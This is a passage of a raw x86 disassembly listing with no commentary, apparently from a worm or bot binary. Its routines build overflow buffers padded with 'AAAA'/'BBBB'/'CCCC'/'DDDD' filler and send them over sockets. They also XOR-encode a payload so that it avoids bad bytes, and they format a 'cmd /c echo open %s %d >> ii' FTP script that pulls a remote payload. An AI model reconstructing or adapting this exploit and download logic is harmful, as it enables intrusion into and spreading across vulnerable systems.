arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424760	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424790	proc near		; CODE XREF: sub_4017CBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_4247A4
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4247A4:				; CODE XREF: sub_424790+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_444B94
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424790	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_401EABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4014FB
		test	al, al
		jnz	short loc_42481C
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_42481C:				; CODE XREF: sub_424800+16j
		mov	ecx, esi
		call	sub_4017CB
		pop	esi
		retn	8
sub_424800	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401BEAj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424C15
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424C15
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_444830
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_444838
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B68
		lea	ecx, [esp+864h+var_830]
		call	sub_4017CB
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B68
		push	offset loc_444BB8
		lea	ecx, [esp+868h+var_810]
		call	sub_402036
		lea	ecx, [esp+864h+var_810]
		call	sub_401B68
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401834
		lea	ecx, [esp+864h+var_808]
		call	sub_401B68
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EAB
		lea	ecx, [esp+864h+var_808]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402036
		push	4
		push	offset dword_44483C
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B68
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_820]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_848]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_810]
		call	sub_4016B8
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_828]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_840]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_830]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_820]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B68
		push	2
		push	offset dword_444BAC
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_838]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_828]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016B8
		push	offset dword_444BA8
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_443E80
		lea	ecx, [esp+868h+var_850]
		call	sub_402036
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		push	offset dword_444B9C
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_444B98
		lea	ecx, [esp+868h+var_818]
		call	sub_402036
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424C15:				; CODE XREF: sub_424840+1Ej
					; sub_424840+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424D40	proc near		; CODE XREF: sub_401AB4j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		call	near ptr 71AB2DC0h
		nop
		cmp	eax, 1
		jz	short loc_424DA9
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DA9:				; CODE XREF: sub_424D40+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_436F60
sub_424D40	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424DC0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DC0:				; CODE XREF: ___:00424DB6j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		call	near ptr 71AB615Ah
		nop
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		nop
		call	near ptr 71AB2BC0h
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_50FC8C
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424E53
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424E53:				; CODE XREF: sub_424E20+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424E20	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E90	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424EC3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E90+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_4448CC
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_444844
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_4448FC
		mov	[ebx+31h], eax
		mov	ecx, dword_444900
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_50E130
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_50E134
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_424F68
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424F68:				; CODE XREF: sub_424E90+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AB4
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_424FA3
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424E90+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AB4
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424E90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425020	proc near		; CODE XREF: sub_401811j

var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= word ptr -410h
var_40E		= word ptr -40Eh
var_40A		= dword	ptr -40Ah
var_406		= dword	ptr -406h
var_402		= word ptr -402h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 41Ch
		mov	ecx, 0FFh
		xor	eax, eax
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+428h+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_444A70
		lea	edi, [esp+428h+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_447541
		movsb
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_447541
		call	sub_4017E4
		mov	ecx, [esp+42Ch+arg_0]
		push	eax
		mov	eax, dword_44767F
		push	eax
		push	ecx
		call	sub_401DF7
		add	esp, 4
		lea	edx, [esp+434h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+444h+var_418]
		push	eax
		lea	eax, [esp+448h+var_400]
		push	eax
		push	164h
		push	offset sub_444908
		push	ecx
		call	sub_401BEA
		mov	eax, [esp+458h+var_414]
		xor	edi, edi
		add	esp, 30h
		cmp	eax, edi
		jnz	short loc_4250C9
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 41Ch
		retn
; ---------------------------------------------------------------------------


loc_4250C9:				; CODE XREF: sub_425020+9Bj
		mov	ebp, dword_50FC2C
		mov	[esp+428h+var_41C], edi


loc_4250D3:				; CODE XREF: sub_425020+158j
		test	edi, edi
		jnz	loc_42517E
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_425161
		mov	eax, [esp+428h+arg_9E]
		xor	edx, edx
		mov	dword ptr [esp+428h+var_40E], edx
		push	eax
		mov	[esp+42Ch+var_40A], edx
		mov	[esp+42Ch+var_410], 2
		mov	[esp+42Ch+var_406], edx
		mov	[esp+42Ch+var_402], dx
		call	ebp	; ntohs
		lea	ecx, [esp+428h+arg_4]
		mov	[esp+428h+var_40E], ax
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		lea	edx, [esp+428h+var_410]
		push	10h
		push	edx
		push	esi
		mov	[esp+28h], eax
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_425156
		mov	eax, [esp+428h+var_414]
		mov	ecx, [esp+428h+var_418]
		push	eax
		push	ecx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_425156:				; CODE XREF: sub_425020+11Aj
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_42516C


loc_425161:				; CODE XREF: sub_425020+CCj
		push	3E8h
		call	near ptr 2811E0Eh
		nop


loc_42516C:				; CODE XREF: sub_425020+13Fj
		mov	eax, [esp+428h+var_41C]
		inc	eax
		cmp	eax, 2
		mov	[esp+428h+var_41C], eax
		jl	loc_4250D3


loc_42517E:				; CODE XREF: sub_425020+B5j
		lea	ecx, [esp+428h+var_418]
		call	sub_4016B8
		test	edi, edi
		jz	short loc_4251AE
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E4h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_4251AE:				; CODE XREF: sub_425020+169j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 41Ch
		retn
sub_425020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425230	proc near		; CODE XREF: sub_4013C5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_425230	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425270	proc near		; CODE XREF: sub_40178Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013C5
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_425295
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_425270+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_444C98
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_444CFC, ecx
		lea	ecx, [eax+1]
		mov	dword_444D1D, ecx
		lea	ecx, [eax+17h]
		mov	dword_444D15, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_444D2B, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D0C
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_444D10
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D11
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_444D15
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_444D19
		mov	[ecx+8], esi
		mov	esi, dword_444D1D
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_444D21
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_425270	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253E0	proc near		; CODE XREF: sub_402162j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013C5
		push	eax
		call	sub_4017BC
		add	esp, 0Ch
		retn
sub_4253E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425410:				; CODE XREF: ___:00401735j
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402162
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_425433
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: ___:0042542Bj
		cmp	eax, 0FFFFh
		jbe	short loc_425440
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: ___:00425438j
		push	esi
		push	edi
		push	ebx
		call	sub_4013C5
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013C5
		add	esp, 8
		push	eax
		push	esi
		call	sub_40178A
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B77
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254B0	proc near		; CODE XREF: sub_4017BCj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4254B9
		inc	ecx


loc_4254B9:				; CODE XREF: sub_4254B0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4254B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254E0	proc near		; CODE XREF: sub_401B77j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4254F8
		cmp	bl, 0Dh
		jz	short loc_4254F8
		cmp	bl, 5Ch
		jz	short loc_4254F8
		test	bl, bl
		jnz	short loc_4254F9


loc_4254F8:				; CODE XREF: sub_4254E0+8j
					; sub_4254E0+Dj ...
		inc	ebx


loc_4254F9:				; CODE XREF: sub_4254E0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42551C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_425516
		cmp	al, 0Dh
		jz	short loc_425516
		cmp	al, 5Ch
		jz	short loc_425516
		test	al, al
		jnz	short loc_42551C


loc_425516:				; CODE XREF: sub_4254E0+28j
					; sub_4254E0+2Cj ...
		add	ebx, 100h


loc_42551C:				; CODE XREF: sub_4254E0+1Fj
					; sub_4254E0+34j
		push	ebx
		call	sub_4017BC
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_425535
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425535:				; CODE XREF: sub_4254E0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_425540
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425540:				; CODE XREF: sub_4254E0+5Aj
		mov	al, byte_50E138
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_425570


loc_425551:				; CODE XREF: sub_4254E0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_425567
		cmp	cl, 0Ah
		jz	short loc_425567
		cmp	cl, 0Dh
		jz	short loc_425567
		cmp	cl, 5Ch
		jnz	short loc_42556B


loc_425567:				; CODE XREF: sub_4254E0+76j
					; sub_4254E0+7Bj ...
		inc	al
		xor	edx, edx


loc_42556B:				; CODE XREF: sub_4254E0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_425551


loc_425570:				; CODE XREF: sub_4254E0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_50E138, al
		ja	short loc_4255A3
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C80
		mov	edi, edx
		mov	byte_444C8D, bl
		mov	byte_444C91, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4255C9
; ---------------------------------------------------------------------------


loc_4255A3:				; CODE XREF: sub_4254E0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C68
		mov	edi, edx
		mov	word_444C76, bx
		mov	byte_444C7B, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4255C9:				; CODE XREF: sub_4254E0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4255DF
		add	esi, edx


loc_4255D2:				; CODE XREF: sub_4254E0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4255D2


loc_4255DF:				; CODE XREF: sub_4254E0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4254E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425640	proc near		; CODE XREF: sub_401E24j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_4491CF[eax*4], ecx
		mov	dword_4491BB[eax*4], ecx
		mov	dword_4491BF[eax*4], ecx
		mov	dword_4491C3[eax*4], ecx
